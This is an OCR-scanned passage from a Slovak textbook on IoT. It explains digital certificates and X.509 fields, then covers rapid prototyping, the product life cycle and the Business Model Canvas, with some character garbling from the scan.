naviazany na verejny kli¢ osoby.Velmi dolezité je, aby registracna autorita zarucila nepopieratelnost
faktu, Ze certifikat reprezentuje identitu prave tej osoby, ktorej bol vydany.

Certifikat

Certifikat sa pouZiva ako ochrana proti podvrhnutiu verejného kftica. Ako uZ bolo spomenuté,
odporuca sa, aby bol certifikdit vydany nezavislou certifikacnou autoritou. Certifikatje casto
prirovnavany k elektronickému obcianskemu preukazu. Obsahuje podobné polozky ako obdciansky
preukaz:

Certifikat Obciansky preukaz

Verzia Format dokladu (knizka, karta, atd’.)
Poradové Cislo Cislo preukazu

Algoritmus podpisu Ochranné prvky

Vydavatel Vydal

Platnost Platnost

Meno, adresa Meno, adresa

Verejny kluc -

- Fotografia

Elektronicky podpis Podpis, biometria, ochranné prvky

Tabulka 6.2 - Udaje v certifikate a ob&ianskom preukaze

Digitalny certifikdit mdze existovat v niekolkych réznych formatoch. Jednym z najpopularnejsich
$tandardov je X.509 vyvinuty ITU-T telekomunikaénou normalizaénou sekciou (ITU-T). Specifikuje
Standardné formaty certifikatov verejnych klucov a algoritmus na overenie certifikacnej cesty.
V polozkach obsiahnutych v digitdlnom certifikdte si nejaké variacie, ale zvycajne obsahuju
nasledujuce polozky:

verejny klu¢ majitela certifikatu,

pouzity algoritmus verejného kluca,

meno osoby alebo organizacie, ktorej bolo osvedcenie vydané,
datum skoncenia platnosti verejného kluca,

nazov vydavajuceho certifikacného organu,

URL prislusného zoznamu zrusenych certifikatov,

algoritmus podpisu certifikatu,

digitalny podpis vydavajuceho certifikacného organu.
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a  Certificate X

General Details Certification Path

Show: | <All> v
Field Value A
=] Version V1
|- serial number 70 bae4 1d 10d9 29 34b6 38 ca ...
D Signature algorithm md2RSA
E]Signature hash algorithm md2
D Issuer Class 3 Public Primary Certification ...
DVaIid from Monday, January 29, 1996 2:00:0...
DValid to Wednesday, August 2, 2028 1:59:...
[Ela hiact Clase 2 Puihlic Primary Cartificatinn e

V1

v Edit Properties... | | Copy to File...

Obrazok 6.17 - Digitalny certifikat

Zdroj [11]

Digitalne certifikaty je mozné ziskat z r6znych zdrojov. V zavislosti od zdroja mézu byt tieto certifikaty
bezplatné, alebo stat aj tisice eur. Certifikaty su platné pre rézne obdobia a pre rézne ucely. Obvykle
st dizky stanovené v ndsobkoch rokov, no je mozné vydavat aj trvalé certifikaty.

Vo vSeobecnosti sa odporuca, aby sa Zivotnost certifikatu udrziavala pomerne kratka, takze ak niekto
ukradne stikromny klU¢, neziska falosnu identitu natrvalo. Ak niekto vlastni privatny klU¢ inej osoby,
moze predstierat, Ze je ind osoba. Takéto predstieranie sa oznacuje aj ako kradez identity.
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7.1 loT a biznis

Internet veci (loT) vytvara priestor pre nové produkty asluzby. Vznikaju nové prileZitosti pre
zacinajucich a existujucich podnikatelov. Pripojené zariadenia budl produkovat nové data, ktoré je
mozné analyzovat a ziskavat tak nové informdcie a poznatky. Zijeme v dobe, kedy sa informacie
stavaju predmetom obchodu.

Pre beiného ¢loveka mbze loT zlepsit verejni bezpelnost, logistiku, zdravotnu starostlivost, zlepsit
informovanost a rychlost komunikacie. Ak sa na tuto problematiku nazerd z komeréného hladiska,
Clovek sa moze stat koncovym zakaznikom, ktory si mdze za kvalitnu sluzbu zaplatit.

Mnohi maji sen vybudovat si vlastny start-up, v ktorom vytvoria produkt, ktory zmeni svet
k lepsiemu. Od napadu az po jeho realizaciu a Uspesné presadenie na trhu, je velmi dlha a ¢asto aj
tfnistd cesta. Podnikanie je narocny proces, ktory kladie vysoké poZiadavky na odborné znalosti
a osobnostné predpoklady podnikatela. Casto je potrebny aj kusok $tastia a vhodné nacasovanie,
ktoré prispieva k Uspechu podnikatelského napadu.

|.I g
NADSENIE

VYTRVALOST
2 TRVDA PRACA *
e
9,
ZLYHANIE N m
DOBRE NAVYKY
L!F! o
VYCERPANIE SKLAMANIE K

Obrazok 7.1 - lluzia Spicky l'adovca

Zdroj [34]

V poslednej kapitole knihy sa pozrieme, ako prebieha vyvoj prototypu, ako vyzera Zivotny cyklus
produktu. Praktickym vystupom kapitoly by mal byt zjednoduseny podnikatelsky plan, ktory odpovie
na zakladné otazky suvisiace s podnikanim a komerénym nasadenim loT produktu na trh.
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7.2 Rapidne prototypovanie

Doba Zivotnosti produktov sa skracuje, atak vcCasné obsadenie trhu sa povazuje ako jeden
z dolezitych aspektov Uspechu produktu. Narocné poziadavky na vyrobok z pohladu jeho kvality,
funkcnosti vyzaduju flexibilitu vyrobného systému a vysoku produktivitu prac.

Inovacie musia prichadzat rychlo a prispésobovat sa rychlo meniacemu trhu. Konvenéné metddy
prestavaju poskytovat dostatocné vysledky. Vypoctova technika a progresivne metddy sa snazia
adekvatne reagovat na tieto problémy.

Pri vyrobe fyzickych produktov sa v sucasnosti velmi ¢asto pouZiva rapidne prototypovanie (angl.
rapid prototyping). Vystupom procesu je takzvany prototyp.

TIP!

V nasledujicom texte hovorime hlavne o prototypovani fyzickych produktov. Koncepty
a pristupu su aplikovatelné aj pre vyvoj softvérovych produktov, ¢i dokonca nehmotnych
sluzieb.

Pre urychleny vyvoj softvéru sa pouzivaju metodoldgie ako:

SDLC (systems development life cycle),
Scrum,

SAFe (Scaled Agile Framework),

RAD (Rapid-application development),
KanBan.

Popis jednotlivych metodoldgii je vSak mimo rozsah tejto publikacie.

y EEEEEEEEEEEEEEEEEEENEEENEEENEEEEEENEEEEEEEgEEEEj§
HE EEEEEEEEEEEEEEEEEEEEEEEEEENEEEEEEEEEEEEEEEEESR

Prototyp

Ide o prvla materidlovu vizualizaciu vyrobku. Tento vyrobok sa stale nachadza v stadiu vyvoja a jeho
dalSie uUpravy avylepsenia su nevyhnutné. Prototyp dokdze poskytnut nahlad na cely produkt
z pohladu jeho:

kvality,

nakladov na vyrobu,

vyrobnych a montaznych poZiadaviek,
narocnosti.

Tento produkt — prototyp, sa odlisuje od vysledného, ktory p6jde do sériovej vyroby. TaktieZ je
mozné na tomto vystupe skisat nové funkcie, postupy, vlastnosti a parametre.
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Obrazok 7.2 - Prototyp ozubeného kolesa

Zdroj [11]

Vyvoj prototypu je uZitoény z pohladu marketingu, kde sa da prototyp pouZit na prezentacnych
materidloch avideach. Daldim prinosom je overenia realizovatelnosti ndpadu. Tymto je mozné
vopred overit, ¢i je konkrétny produkt vébec mozné vyrobit. Nakoniec je tu vyhoda technického
overenia funkcionality produktu. S prvym prototypom sa daju overit zakladné technické parametre
a vlastnosti produktu. Uspe$nym vyrobenim prvého prototypu je taktiez mozné odhalit chyby, ktoré
vznikli v procese navrhu alebo vyroby.

Existuje niekolko réznych foriem prototypu, rozdelenych podla tcelu:

mock-Up — nahlad pre pouzivatela, ako bude produkt vyzerat,

bread-Board — prototyp je funkény, ale nemad vytvorené pouzivatelské rozhranie,
scale-Model — prototyp ma vytvorené pouzivatelské rozhranie, ktoré je obmedzené a nema
dostupné vsetky funkcie,

concept-Car — prototyp navrhnuty s cielom overenia trhovej ceny,

simuldcia — simulacia pouzivania produktu na zaklade predstav pouzivatela,

charakteristicky model — formalna Specifikacia systému a jeho funkcionality,

blue-Print — technicky popis redlneho vyrobného procesu a implementacie produktu.

Vyhodou metdd rapidneho prototypovania je moznost rychlej vyroby modelov, vzoriek alebo celych
prototypov v [ubovolnej faze vyvoja, ale predovsetkym moznost vyroby celého radu modifikacii
a konstrukcénych usporiadani navrhovaného vyrobku. S pouZitim vypoctove]j techniky je to mozné bez
pouzitia jediného fyzického nastroja s maximdlnou Usporou materidlov aenergii pre vyrobu
produktu.

Rapidne prototypovanie umoznuje:

zvysit efektivnost komunikacie,
znizit ¢as vyvoja vyrobkov,
eliminovat nakladné chyby,
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minimalizovat zmeny v procese schvalovania,
zvysit Zivotnost produktu,

zvysit komplexnost produktu,

zvysit pocet variantov produktu,

znizit dodacie lehoty,

odstranovat chyby uzZ vo faze navrhu.

Vychodiskovym bodom pre rapidne prototypovanie su takzvané CAD modely (anglicky computer-
aided design), ktoré predstavuju digitdlny model nového produktu. Softvérové aplikacie dokazu
vypocitat velmi detailné informacie o spotrebe materidlu, alebo fyzikdlnych vlastnosti modelu.
Takéto vypocty pomahaju efektivne planovat vyrobu a vyrazne Setria ¢as a peniaze.

7.3 Zivotny cyklus produktu

Produktom je ¢okolvek ponukané na trhu pre uspokojenie potrieb zdkaznikov. V suc¢asnej modernej
ekonomike mdze byt produktom napriklad fyzicky vyrobok, sluzba, skidsenost, spolo¢enskaudalost,
informdcia alebo aj myslienka.

Produkt mozZe existovat v niektorej zo Styroch faz (vid obrazok 7.3), ktoré sa spolo¢ne oznacuju ako
Zivotny cyklus produktu. Ciefom riadenia Zivotného cyklu produktu (anglicky product life cycle
management) je zvySenie kvality produktu, zniZenie nakladov na vyvoj avyrobu, identifikacia
potencialnych prileZitosti predaja, efektivne ukoncenie Zivotného cyklu produktu.

Rast
Zrelost
Pokles

Zavedenie

Objem predaja

Obrazok 7.3 - Zivotny cyklus produktu

Zdroj [5]

Zavedenie na trh
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Prva faza, v ktorej spolo¢nost zavadza na trh novy produkt. Faza zavedenia sa povaZzuje za najdrahsiu.
Predajnost produktu zacina rast afirma ziskava prvé prijmy z produktu. Doteraz predstavoval
produkt ndkladovu polozku. Spolo¢nost musela investovat do vyvoja, marketingu, pripravy na predaj
a mnoho inych suavisiacich ¢innosti.

Rast

Druha faza je charakteristicka prudkym narastom predaja. S postupnym rastom predaja sa zvysuju aj
prijmy spolocnosti. Konkurencia zvykne v tejto faze zvysit pozornost aziujem o novy produkt.
Rychlost rastu je do istej miery zavisla aj od spokojnosti zakaznikov, ktori davaju osobné odporucania
l[udom vo svojom okoli. Tymto sa spusta lavinovy efekt, ktory pomaha rozsireniu povedomia
o produkte.

Zrelost

Produkt, ktory dospel do $tadia zrelosti, prindsa spoloénosti najvacsie prijmy. Naklady zvyknu byt
v tomto Stadiu optimalizované, o sa prejavuje vyssim ziskom (zisk = prijmy - naklady). V tejto etape
je trh a objem predaja stabilizovany. Investicie do reklamy a vyvoja produktusu na nizsej Urovni, nez
tomu bolo v prvej faze zavedenia na trh. Cielom spolocnosti, je aby produkt v tejto faze zotrval o
najdlhsie.

Pokles

V istom bode zaéne zaujem o produkt klesat. Zakaznici ho prestavaju kupovat, medzi konkurenénymi
firmami nastava boj o kazdého zakaznika. Ceny prudko klesaju. Firmy musia prist s inovaciou, alebo
novym produktom, ktory bude uspokojovat novu potrebu zakaznika.

7.4 Canvas model

Canvas model je skvelym nastrojom, ktory poméze rychlo navrhnit obchodny model nového
podnikania jednoduchym a Struktdrovanym spdsobom. Vysledkom je podnikatelsky plan, ktory
pomocou vizualnych nakresov a kratkych vysvetleni popisuje 4 klicové oblasti:

pridanu hodnotu produktu,
infrastrukturu,

zakaznikov,

financie.

Zaujimavou moznostou vyuzitia tohto modelu je analyza konkurencie. Pred vytvorenim vlastného
modelu je vhodné si vybrat konkurenénud firmu a aplikovanim Canvas modelu analyzovat jeho
podnikanie. Takto sa da jednoducho ziskat pohlad na to, ¢o zakaznici chcd a za ¢o su ochotni zaplatit.
Poznanie konkurencnych firiem je taktiez velmi dolezité.

Budeme mat jasnejsi obraz otom, aké su potreby zédkaznikov v danom odvetvi. DokdZzeme lepsie
zamerat a definovat ciele svojho nového podnikania. Odkryjeme doélezité informacie o tom, ako iné
podniky vytvorili svoje produkty a ziskali isty segment trhu.

Canvas model obsahuje 9 hlavnych casti, v ktorych sa snazi budici podnikatel ziskat odpoved na
kfucové otazky:

206



zakaznici — Komu pomdahame?

pridana hodnota — Co zékaznika trapi? Ako zékaznikovi pomozeme?

partnerstva — Akych partnerov budeme vyuZivat pri podnikani (dodavatelia, predajcovia,
distribatori)?

distribu¢né kanaly — Ako si moze zédkaznik produkt zakupit?

penazné toky — Kolko penazi za to dostaneme?

naklady — Kolko nas to bude celé stat?

klacové aktivity — Ako vyrobime produkt?

kli¢ové zdroje — Co vietkopre to potrebujeme?

konkuren¢na vyhoda — V com sme lepsi nez konkurencia?

Aby bol Canvas model prehladny, jednoducho sa upravoval a prezentoval dalsSim ucastnikom
projektu alebo investorom, bola navrhnuta pomerne intuitivna Sablona, ktorej format je vyobrazeny
na obrazku 7.4.

Partnerstva | Klucové Pridana Konkurenéna Zakaznici
aktivity hodnota vyhoda
Kracové Distribuény
zdroje kanal

Naklady Penazné toky

Obrazok 7.4 - Sabléna pre Canvas model

Zakaznici

Cielom je identifikovat vsetky skupiny zdkaznikov, ¢i uZ existujlcich, alebo potencidlnych, ako aj tie
Casti trhu, ktoré by mal novy produkt ziskat. R6zne skupiny zakaznikov mézu byt segmentované na
zaklade ich rdznych potrieb avlastnosti. Takto je moziné zabezpelit primerantd implementéciu
vytvoreného podnikatelského planu.

Pre kazdy segment by mal byt vytvoreny samostatny podnikatelsky plan. Je to z dévodu odlisnych
ocakavani, potreby odlisSnych stratégii a postupov pri vyrobe, predaji a dodavani produktov.

Vystupom by malo byt pochopenie, ¢o si cielovi zakaznici myslia, vidia, citia a robia. DéleZitym bodom
je pochopit rodziel medzi kupcom a pouzivatelom vasho produktu. V mnohych pripadoch to nie je
ten isty ¢lovek.

Pri definovani cielového zékaznika je vhodné si ujasnit a explicitne definovat:
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typ zakaznika - jeho vek, socidlne postavenie, zaujmy, preferencie (v angli¢tine oznacované aj
ako persona),

¢innost zakaznika - Ulohy, ktoré sa snazi zékaznik vyrieSit alebo vyzvy, ktoré sa snazi
prekonat,

prostredie, kontext a ddleZitost - vykondvané ulohy maju rozdielny kontext. Ind déleZitost
a prioritu maju ulohy pri vybere zabavného programu pre deti, alebo pri vybere systému pre
vykurovanie nového domu, ktory je prave vo vystavbe,

problémy - v mnohych pripadoch su pritomné problémy, ktoré komplikuju alebo uUplne
brania realizacii uloh. Napriklad nedostatok batoZinového priestoru v osobnom vozidle pre
dlhé predmety. RieSenim tohto problému modze byt napriklad stresny nosic,

zisk - predstavuje benefit, ktory zakaznik ziska pouzitim navrhovaného produktu pre
vyrieSenie problému a splnenie ulohy, ktora je pre neho délezita.

Cim je definicia vy$sie popisanych bodov presnejsia a detailnejsia, tym je mozné lepsie uréit pridanu
hodnotu produktu.

Pridand hodnota

Jednoducho povedané, pridand hodnota je dovod, preco by si zdkaznik mal vybrat dany vyrobok.
Vacsina zadinajucich podnikov nedokaze definovat svoju hodnotu, predtym, neZz uvedud svoje
produkty na trh. Casto sa stava, Ze novy produkt nema pre zakaznikov dostatoény prinos a neziskaju
ocCakavané obsadenie trhu. Je dolezité, aby vyrobok riesil problém efektivnym sp6sobom.

Pridand hodnota moze byt reprezentovana v niekolkych aspektoch nového produktu alebo sluzby:
Jedineénost

Niektoré hodnotové navrhy su zalozené na jedinecnosti, ktoru poskytuju. Tento prvok zvycajne
vstupuje do hry pre vyrobky s vysokou naro¢nostou na technolégiu. Prikladom trhu s jedineénym
produktom je trh s mobilnymi telefonmi.

Vykon

Lepsi vykon bol charakteristickym znakom mnohych produktovych ponuk v priebehu rokov, pricom
vacsina priemyselnych odvetvi dokazala po desatroCia prosperovat na vylepsenych verziach
rovnakych produktov. Kazdoroc¢ne sa zvysuje rychlost procesorov, ¢o vedie k rychlejsiemu pocitacu.

Prispésobenie

Moderny spotrebitelia veria v sebavyjadrenie a individualizmus. Ocakdavaju, Ze produkty, ktoré
pouzivajd, su rozsirenim ich osobnosti a prostredim, prostrednictvom ktorého moézu komunikovat
svoje hodnoty a priority svetu. Poskytnutie moZnosti prisposobit vyrobok spotrebitelom zvysi
hodnotu pre zdkaznika. Prikladom je mozZnost dvojfarebnej karosérie nového automobilu.

Moznost realizovat ulohy

Ak produkt pomaha spotrebitelovi alebo podniku dosiahnut koncovy ciel, jeho hodnotova ponuka je
v dokoncéenej préci. lde o produkt, ktory zvysSuje produktivitu zadkaznika a pomaha zakaznikovi
sustredit sa na dolezitejSie detaily.
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Dizajn

Vicsina znamych odevnych znaciek sa vyznacduje vy$$ou cenou, pretoZze maju vynikajuci dizajn. U¢tuju
si vySsie ceny za jednoduché produkty kvali sile dizajnu.

Znacka

Dizajn a znacka mdzu byt zoskupené, pretoze su si dost podobné. Ludia prejavia svoju vernost znacke
kvoli svojmu dizajnu, ludia tiez prejavia lojalitu k dizajnu kvéli znacke. Dizajn aznacka predava
vlastnikovi alebo pouzZivatelovi spolocensky status.

Cena

Jednym z najbeznejsich prvkov, na zaklade ktorych sa hodnoti navrh, je cena. Existuje mnoho
spolocnosti, ktoré vstupuju na trh s predpokladom, Ze poskytuju produkt alebo sluzbu, ktord je
lacnejsia ako existujice moznosti na trhu. Avsak organizacie, ktoré sutazia o cenu, alebo v niektorych
pripadoch dokonca ponukaju bezplatné sluzby, maju zvycajne ré6zne obchodné modely na udrzanie
organizacie.

Znizenie nakladov

Produkty a sluzby, ktoré znizuju naklady. Technoldgia zohrala velkd Ulohu v pomaoci spotrebitelom pri
znizovani nakladov. Jednym ztakychto prikladov su cloud systémy, ktoré umozniuju zakaznikom
pouzivat softvér za poplatok, ¢im zanikd potreba zédkaznika nakupovat softvér, hardvér a instalovat
a prevadzkovat ho lokalne.

Znizenie rizika

Cim menej rizika suvisi s ndkupom produktu alebo sluzby, tym je vy$sia hodnota, ktoru zakaznik
odvodzuje. Znizenie rizika spojeného s nakupom poskytuje spotrebitelovi pokoj. Jednym z prikladov
je jednorocnd zaruka na servis ziskany pri kipe ojazdeného vozidla. Podla nazoru kupujuceho, je
riziko nakupu ojazdeného vozidla znizené komfortom poskytnutej zaruky. Produkt, ktorého
hodnotovym navrhom je zniZenie rizika, je zamerany na to, aby sa ludia citili bezpecnejsie.

Dostupnost

Dalou kltcovou zlozkou pre efektivnu ponuku hodnét je spristupnenie produktu alebo sluzby.
Napriklad dostupnost bankomatov moze byt kritériom pre vyber banky, kde si ¢lovek zaloZi osobny
ucet.

Pohodlie/Pouzitel'nost

Poskytovanie produktu, ktory zvysSuje spotrebitelom ich pohodlie alebo je charakterizovany
jednoduchostou pouzivania, je velmi silnd hodnotova ponuka. Prikladom tohto typu ponuky je znamy
americky vyrobca mobilnych telefénov.

Partnerstva

Obchodné partnerstvo je forma spoluprace, v ktorej dva obchodné subjekty navzajom spolupracuju
pre dosiahnutie zisku. Partnerstvo mdZe mat podobu volného vztahu, kde obidva subjekty si
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zachovavaju svoju nezavislost a mozu slobodne vytvarat viac partnerstiev, alebo vyhradnd zmluvu,
ktora obmedzuje obe spoloénosti len na tento jeden vztah.

Na vytvorenie ucinnych, zjednodusenych operacii aznizenie rizik spojenych s akymkolvek
obchodnym modelom organizacia vytvara partnerstva so svojimi doddavatefmi. KlUuéovymi
partnerstvami je siet doddvatelov a partnerov, ktori sa navzajom doplfiaji a pomahaju spoloénosti
vytvarat, predat a dodat produkt zdkaznikovi.

Vytvorenie obchodného partnerstva je narocné azahffia vela vyjedndvani avyZaduje vyznamnu
davku dévery. Existuje niekolko dévodov, preco by sa organizacie rozhodli prijat kli¢ového partnera
namiesto toho, aby robili veci sami:

ZniZenie vyrobnych nakladov

Nie je redlne, aby jeden podnikatel, alebo mala firma, dokazala vykonavat vsetky klicové aktivity
sama. Vacsina partnerstiev poskytuje organizacidm moznost zdielat svoju infrastruktdru.

V praxi to znamend, Ze ucCtovnicka poskytuje uctovné sluzby inym firmam. Na druhl stranu,
neprogramuje si sama svoj Uctovny softvér, ktory jej ulahci pracu. Tento softvér si zakdpi od
programatora. Naopak, tento programator sa nevenuje uctovnictvu, pretoZze nema ¢as na Studium
aktualnej legislativy o daniach a Gétovnictve, preto mu je vyhodnejsie tuto aktivitu zadat externej
uctovnicke.

Znizenie rizika a neistoty

Ak ma podnik dobry vztah s kli¢ovym partnerom, znizuje prirodzené riziko spojené s podnikanim.
Mnohi konkurenti mézu vytvorit strategické partnerstva, ktorymi zdielaju riziko pocas dodavky
nového produktu na trh.

Ziskanie konkrétnych zdrojov a znalosti

Ak existuju urcité veci, ktoré nema podnik vo vlastnej rézii a zakupenie by vyzadovalo velku investiciu
Casu, penazi alebo oboch, kfucovy partner, ktory uz ma tieto procesy a infrastruktiru je velmi
uzitocnym partnerom.

Mnoho novych firiem zacina svoje cesty vytvaranim partnerstiev, ktoré im umozZnuju pristup
k pozadovanym zdrojom alebo procesom, ktoré potrebuju pre svoje fungovanie a vyrobu, ale nemaju
ich momentalne k dispozicii. Napriklad vyrobca bicyklov nevyrdba svoje bicyklové prislusenstvo.
Namiesto toho uzatvori niekolko selektivnych partnerstiev s vyrobcami bicyklovych dielov, ktori
prispbsobia diely (napriklad farbu, velkost sedadla) potrebam vyrobcu.

Distribucné kanaly

Blok venovany distribuénym kanalom opisuje, ako spolo¢nost komunikuje so zdkaznikmi z réznych
segmentov. Je délezité pochopit, ktord cesta (distribu¢ny kanal) je najlepsi pre navrhovany produkt
alebo sluzbu.

Vystupom tohto bloku je ziskat odpovede na otazky:

Ako zvysit informovanost zakaznikov o produktoch a sluzbach?
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Ako zédkaznikovi prezentovat pridant hodnotu produktu?
Akym spdsobom budu zakaznici nakupovat konkrétne produkty a sluzby?
Ako bude zabezpecené poskytovanie zakaznickej podpory po zakupeni?

V tejto Casti Canvas modelu, sa navrhuje nakup produktu. Cely proces nakupu ma niekolko faz:

Faza 1: Ziskanie povedomia o produkte - aby si zakaznik konkrétny produkt kupil, najprv musi vediet,
Ze existuje.

Faza 2: Hodnotenie produktu - ako najlepSia prezentdcia sa osvedcil pristup “vyskidsaj ma pred
kipou”. Aj preto automobilové znacky maju vytvorené svoje takzvané show-roomy, kde si moze
kupujuci nové vozidlo pred kipou detailne pozriet a vyskusat.

Faza 3: Zakuapenie produktu - v tejto faze sa navrhuje, akym spésobom dojde k vymene penazi za
produkt. Plati obzvlast pri malych objednavkach. Platby vysokych sim, napriklad za nehnutelnost,
alebo automobil si obmedzené zakonom, ktory usmerriuje spésob prevodu penazi.

Faza 4: Dorucenie produktu - distribu¢ny kanal akym bude produkt doruceny zakaznikovi.
Najrozsirenejsim sp6sobom je osobné prevzatie alebo dorucenie prostrednictvom kuriéra.

Faza 5: Popredajna podpora - pre udrzanie dlhodobého vztahu so zakaznikom je déleZita zdkaznicka
podpora. Prostrednictvom podpory dokaze zakaznik ziskat odpoved na svoje otazky, ktoré vznikli
pocas pouZivania produktu. Podpora je ¢asto vyuzivana aj pri vzniku novych problémov s produktom.
Cim vysia cena produktu, tym je tato zdkaznicka podpora viac vyzadovana zo strany zakaznikov.

PenaZné toky

Zakladom podnikania je penazny prijem (angl. cash flow). UdrZiavanie spokojnych zakaznikov nie je
dostatocné. Je potrebné, aby tito zdkaznici platili za pouzivane produktu a sluzby. Iba takto dokaze
firma, ktora podnika, preZit a nadalej poskytovat sluzby alebo vyrabat a dodavat produkty.

Prijmy musia byt ¢o najjasnejsie definované. Preto nie je dostatocné iba uviest zdroje pre rdzne
prijmy, ale je rovnako doélezity aj ich navrh cien a Zivotny cyklus produktu. Tieto podrobnosti su
potrebné pre posudenie, ¢i je podnikanie ziskové, alebo nie. Ak su naklady na navrhovanie a vyrobu
produktu vyssie, nez je zdkaznik ochotny zaplatit, potom to nema zmysel vyrabat dany produkt.
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o)

Cash ~ Vydaje

Obrazok 7.5 - Pefiazné prijmy a vydaje

Zdroj [36]
Mnohi podnikatelia vahaji, maju pocit, Ze bez funkéného a otestovaného prototypu nedokazu
spravne nastavit cenu produktu. Na druh( stranu, ako lepsi spésob cenotvorby sa javi nastavenie
ceny podla zavaznosti, aky problém v Zivote zakaznika dany produkt vyriesi. Napriklad pri urgentnom
zasahu servisného technika, ktory opravuje upchaté odpadové potrubia, méze byt cena vyrazné
vyssia, neZ je redlna hodnota ¢asu technika. Dovodom je tiesriova situdcia, ktord musi byt vyriesena
bez ohladu na cenu.

Medzi dva zakladné typy penazného prijmu firmy patria:

transakcny vynos - tieto vynosy su ziskané od zdkaznika, ktory robi jednorazovu platbu za
vyrobok alebo poskytnutie sluzby,

opakované vynosy - opakované vynosy sa ziskavaju z priebeznych platieb za dodany produkt,
¢i poskytnutého zakaznickeho servisu po predaji.

Nastavenie platobného modelu je spdsob, akym sa bude Uctovat zdkaznikovi dodana sluzba alebo
produkt. Vo vSeobecnosti je v praxi najviac rozsirenych niekolko foriem:

Predaj tovarov

Tento druh predaja sa vztahuje na prevod vlastnickych prav na fyzicky vyrobok od predavajiceho ku
kupujucemu. Napriklad knihy, hudba, elektronika, automobil sa predavaju kupujicim.

Poplatok za pouZitie

Tento druh poplatku zvycajne Uctuju poskytovatelia sluzieb zakaznikom za pouZivanie sluzby. Z tohto
dévodu bude mobilny operator pravdepodobne Gétovat zakaznikovi, Ze pouziva linku na urcity pocet
minut v priebehu dna alebo mesiaca. Kozmeticky salén moézZe Ucétovat svojmu zdkaznikovi pocet
a povahu osetreni, ktoré klientovi dodal pocas starostlivosti.

Poplatky za predplatné
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Ked pouzZivatel potrebuje dlhodoby alebo nepretrZity pristup k produktom spoloc¢nosti, zaplati
predplatné. Napriklad telocvicna predava svojmu zdkaznikovi rocny clensky predplatny listok.
Poskytovatelia kablovych sluZieb uctuju svojmu pouZivatelovi poplatok za upisovanie na zaklade casu,
ktory zaplati vopred.

Pozic¢iavanie/prenajom/lizing

Niektoré organizacie poskytuju svojim zdkaznikom vyhradné prava na pouZivanie produktu na
obmedzeny ¢as za stanoveny poplatok. Po skoncéeni tohto obdobia zdkaznik vracia zapozicany
predmet majitelovi. Tento model prijmov predstavuje mnoistvo vyhod pre spoloénost aj pre
zakaznika. Spolocnost vyuziva opakované vynosy od zakaznika za uvedené obdobie. Na druhej
stranema zakaznik vyhradny pristup k produktu na cas, na ktory ho vyZaduje, bez toho, aby musel
robit vela investicii.

Udelovanie licencii

Licencovanie sa vo vSeobecnosti pouZiva, ked hovorime o vyrobkoch, sluzbach alebo napadoch, ktoré
spadaju pod parameter dusevného vlastnictva. Tym sa otvara prijmovy tok pre drzitelov prav, ktori
by inak museli investovat aj do vyroby. V technologickom priemysle je bezné, Ze drzitelia patentov
udeluju licenciu na pouZivanie patentov inym spolo¢nostiam a Uctuju si za ne licen¢né poplatky.

Poplatok za sprostredkovanie

Ak spolocnost vystupuje ako sprostredkovatel, ktory ulah¢uje komunikaciu a transakciu medzi dvoma
alebo viacerymi stranami, Uctuje si poplatok za sprostredkovanie. Prikladom je, ked personalna
agentura spdaja vhodného kandidata s organizaciou, ktora hlada urcitu sadu zruc¢nosti. Firma zvycajne
Uctuje percento hrubého platu organizacii, kandidatovi alebo obom.

Reklama

Spolocnosti, ktoré zardbaju peniaze prostrednictvom propagacie inej organizacie, produktu alebo
sluzby. Firma si za tuto propagaciu Uctuje poplatok. Kedysi bol tento druh prijmov beiny len
vreklamnom priemysle. Avsak v dnesnej dobe, v dosledku rozvoja internetu a elektronického
obchodovania,pouziva mnoho webovych stranok aj toto ako hlavny zdrojsvojich prijmov.

Naklady

Tento blok predstavuje vSetky naklady, ktoré podnik méze alebo bude mat, ak sa rozhodne pre
konkrétny obchodny model. Velké percento novych firiem ukonéi svoju ¢innost v prvych troch
rokoch, pretoze nedokaze efektivne spravovat a pokryvat svoje naklady.

Naklady mézu byt zakladnym problémom pre niektoré obchodné modely a vidy zostant hlavhym
problémom pre vsetky podniky. Niektoré podniky robia dokonca velké zmeny s cieflom ¢o najviac
minimalizovat naklady. Z ekonomického pohladu existuji dva hlavné typy nakladov:

fixné naklady,
variabilné naklady.
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Cena

Celkové naklady

Variabilné naklady

Fixné naklady

Mnoizstvo

Obrazok 7.6 - Struktura nakladov

Zdroj [5]
Fixné naklady

Oznacované aj ako pevné, su prevadzkové naklady, ktoré zostavaju rovnaké bez ohladu na objem
produkcie podniku. Tieto naklady su zvycCajne ¢asovo viazané, ako su mesacné platy alebo najomné
za kancelarske priestory a mozu sa tiez oznacovat ako rezijné naklady.

Vyrobné podniky sa zvycajne vyznacuju vysokymi fixnymi nakladmi v dosledku investicii potrebnych
na prendjom zariadeni. Treba vSak poznamenat, Ze fixné naklady nezostanu navzdy rovnaké. Mozu sa
¢asom menit, ale zostanu stabilné pocas urcitého ¢asového obdobia.

Variabilné naklady

Premenlivé naklady, ktoré su silne zavislé od objemu produkcie, ktord spoloénost vyraba. Ide teda
o naklady, ktoré vznikna pri vyrobe produktu. Ak nevyrabame, nebudeme mat Ziadne premenlivé
naklady.

Podobne mézeme mat dodacie naklady, ale ak zdkaznici nepozaduju dodanie, potom ide o mozné
premenlivé naklady, ktorym sa moézeme vyhnut. Tieto naklady su preto citlivé na zmeny dopytu
a ponuky anemozno ich lahko predvidat. Zvysuju sa priamo Umerne k narastu prace a kapitalu.
Premenlivé naklady predstavuju ucty za spotrebu a suroviny pouZité na vyrobu konec¢ného vyrobku.
Organizacia a realizacia hudobného festivalu bude charakterizovana vysokymi variabilnymi nakladmi.

KIucové aktivity

V tomto bloku su popisané najdélezitejsie Ulohy, ktoré spoloénost musi plnit, aby dokazala vyrobit
zvoleny produkt. Klucové aktivity sa liSia podla obchodného modelu organizacie. Organizacia, ktora
sa vo velkej miere spolieha na dodavatelov, zaradi ich vzajomnukoordinaciu ako kfucovu aktivitu.
Podnikanie zaloZené na fyzickych produktoch dava na zoznam kltcovych aktivit napriklad skladovanie
zasob materialov, navrh a spravu logistiky.

v 7

Hlavnymi kategdriami, do ktorych mézu spadat kl'icové aktivity, su:
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vyroba - vyber produktu a dizajnu, navrh vyrobného procesu, vyber vyrobnej technoldgie,
planovanie vyroby, kontrola vyroby, kontrola kvality, evidencia asprava zdsob, udrzba
strojov,

vyskum avyvoj - vyskum avyvoj novych vlastnosti afunkcionalit produktu, zlepsenie
parametrov existujucich produktov, zlepSovanie kvality, inovacie produktov,

marketing - vyber cielového trhu, ndvrh stratégie, spoluprdca na vyvoji produktu,
komunikacia so zakaznikmi, podpora predaja, prezentacia a Sirenie povedomia o produkte,
